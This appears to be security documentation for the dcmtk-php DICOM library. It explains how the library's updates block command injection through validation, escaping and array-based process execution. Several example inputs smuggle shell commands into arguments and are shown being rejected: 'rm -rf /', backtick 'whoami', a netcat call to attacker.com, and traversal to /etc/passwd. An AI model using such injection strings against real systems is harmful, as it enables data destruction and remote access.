This document outlines important security practices when using the dcmtk-php library, particularly regarding command injection vulnerabilities that have been addressed in recent updates.
The dcmtk-php library wraps DCMTK (DICOM Toolkit) command-line utilities. Previous versions had vulnerabilities where user input could be directly injected into shell commands, potentially allowing attackers to execute arbitrary code. This has been fixed through input validation and safer command execution methods.
All file path parameters are now validated using realpath() to:
- Ensure the file actually exists
- Resolve symbolic links and relative paths
- Prevent directory traversal attacks
Example of safe usage:
$tag = new Tag();
$tag->setFilePath('/path/to/dicom/file.dcm'); // Path validated automaticallyAE (Application Entity) titles used in network operations are validated to:
- Contain only alphanumeric characters, spaces, hyphens, and underscores
- Be no longer than 16 characters (DICOM standard)
- Be non-empty
Restrictions on invalid input:
$net = new Net();
// These will throw DcmtkPhpException:
$net->echoscu('host', 104, 'INVALID@AE', 'REMOTE'); // @ is not allowed
$net->echoscu('host', 104, 'TOOLONGAETITLEHERE', ''); // Over 16 charsHost names and IP addresses are validated to contain only valid characters:
- IPv4 and IPv6 addresses
- Hostnames with dots, colons, and hyphens
- No shell metacharacters
Port numbers are validated to be in the valid range (1-65535).
Example:
$net = new Net();
$net->echoscu('192.168.1.100', 104, 'LOCAL', 'REMOTE'); // Valid
$net->echoscu('host; rm -rf /', 104, 'A', 'B'); // RejectedWhen writing DICOM tags, values are escaped to prevent command injection:
$tag = new Tag();
$tag->setFilePath('/path/to/file.dcm');
// These are now safe even with special characters:
$tag->writeTags([
'0010,0010' => 'SMITH^JOHN; echo hacked', // Safely escaped
'0008,0080' => 'HOSPITAL`whoami`' // Safely escaped
]);Parameters like JPEG quality, thumbnail size, and framerate are validated:
- JPEG quality: 0-100
- Thumbnail size: 1-10000 pixels
- Framerate: 1-120 fps
Example of validation:
$convert = new Convert();
$convert->jpg_quality = 150; // Invalid range
$convert->dcmToJpg(); // Throws DcmtkPhpExceptionWhen converting to video, only whitelisted formats are allowed:
- mp4
- avi
- mov
- mkv
- webm
Other formats are rejected to prevent command injection via the format parameter.
The library maintains backwards compatibility with code that passes command strings, but strongly recommends using the new validation methods for security.
Legacy (less safe):
// Still works but less safe - relies on popen()
$cmd = "dcmdump -M +L +Qn \"$file\"";
$output = $this->execute($cmd);Modern (safer):
// New array-based execution using proc_open()
$commandArray = [DCMTK_BIN_DCMDUMP, '-M', '+L', '+Qn', $validatedFile];
$output = $this->executeArray($commandArray);All methods in this library now use the safer array-based approach internally.
When using storeServer() with a configuration file, ensure:
- The file is located in a secure directory with restricted access
- The file is validated to exist before use
- The file owner and permissions are properly set
Secure setup example:
# Configuration file with restricted permissions
chmod 600 /etc/dcmtk/storescp.cfg
chown www-data:www-data /etc/dcmtk/storescp.cfgWhen using storeServer() with a handler command, the library:
- Validates the handler script/binary exists
- Validates it is executable
- Does NOT execute arbitrary shell commands passed as the handler
Safe handler usage:
$net = new Net();
$net->storeServer(
'/var/dicom/incoming',
'PACS',
'/etc/dcmtk/storescp.cfg',
'Default',
'/usr/local/bin/my_dicom_handler.sh' // Must exist and be executable
);What won't work:
// This will throw an exception - handler validation fails:
$net->storeServer(
'/var/dicom/incoming',
'PACS',
'',
'Default',
'rm -rf /' // Not an executable file path
);The library requires DCMTK binaries to be installed. Security considerations:
- Install from trusted sources - Use official DCMTK releases or your OS package manager
- Verify installation - Ensure binaries are from the expected location:
$dcmtk = new DcmtkPhp('/usr/local/bin'); // Explicitly set path
- Prevent binary hijacking - Ensure the DCMTK path is not writable by untrusted users
- Keep updated - Install security updates for DCMTK when available
The library throws DcmtkPhpException when validation fails. Always handle exceptions:
use Aurabx\Dcmtkphp\Exception\DcmtkPhpException;
try {
$tag = new Tag();
$tag->setFilePath($user_input_path);
$tag->writeTags($tag_data);
} catch (DcmtkPhpException $e) {
// Log and handle the error appropriately
error_log("DICOM operation failed: " . $e->getMessage());
// Do NOT expose error details to end users
}Validate all user input at the point it enters your application, before passing to dcmtk-php:
// Filter and validate file uploads
$upload_dir = '/secure/dicom/uploads';
if (!isset($_FILES['dicom_file'])) {
throw new Exception('No file uploaded');
}
$file_path = $upload_dir . '/' . basename($_FILES['dicom_file']['name']);
move_uploaded_file($_FILES['dicom_file']['tmp_name'], $file_path);
// Now pass to library
$tag = new Tag();
$tag->setFilePath($file_path);Restrict operations to expected values using allowlists:
$allowed_ae_titles = ['LOCAL', 'REMOTE1', 'REMOTE2'];
if (!in_array($ae_title, $allowed_ae_titles, true)) {
throw new Exception('Invalid AE title');
}Run PHP processes with the minimum necessary permissions:
# Run PHP as dedicated user with limited permissions
chown -R www-data:www-data /var/dicom
chmod 755 /var/dicom
chmod 600 /var/dicom/*Log operations without exposing sensitive data:
// Good - logs the operation type
error_log("DICOM file processed: {$filename}");
// Bad - could expose sensitive patient data
error_log("Full DICOM content: " . print_r($tags->tags, true));Restrict network-based operations using firewall rules:
# Only allow DICOM connections from trusted PACS
iptables -A INPUT -p tcp --dport 104 -s 192.168.1.50 -j ACCEPT
iptables -A INPUT -p tcp --dport 104 -j DROPKeep the library and DCMTK tools updated:
# Check for composer updates
composer outdated
# Update DCMTK (example for Ubuntu)
sudo apt-get update && sudo apt-get upgrade dcmtkIf you discover a security vulnerability in dcmtk-php:
- Do NOT open a public issue on GitHub
- Contact the maintainers privately with details
- Allow time for a fix before public disclosure
- Follow responsible disclosure practices
Attack: $tag->setFilePath('/tmp/file.dcm; rm -rf /')
Mitigation: realpath() validation prevents this - the path is checked to exist and is resolved to an absolute path.
Attack: $net->echoscu('host', 104, 'LOCAL"; nc attacker.com 1234 #', 'REMOTE')
Mitigation: AE title validation rejects any characters outside [A-Za-z0-9\s\-_]
Attack: $tag->writeTags(['0010,0010' => "TEST\"; echo hacked #"])
Mitigation: Tag values are escaped using escapeshellarg() for additional safety
Attack: $tag->setFilePath('../../../etc/passwd')
Mitigation: realpath() validation resolves the actual path and fails if the file doesn't exist in an allowed location
Input validation adds minimal overhead:
- File path validation: ~1ms per operation
- String validation (AE title, hostname): <1ms
- Numeric range validation: <1ms
The security benefits far outweigh the negligible performance impact.
- Replaced
popen()withproc_open()for safer command execution - Added
CommandValidatorclass for comprehensive input validation - Implemented whitelist validation for AE titles, hostnames, and formats
- Added file path traversal protection
- Escaped DICOM tag values automatically
- Improved error messages without exposing system details
- Had command injection vulnerabilities (deprecated)
- Used shell-based command execution without input validation
If you have security questions about using dcmtk-php:
- Check this documentation
- Review the source code (it's open source)
- Contact the maintainers with specific questions
- Never attempt to work around validation checks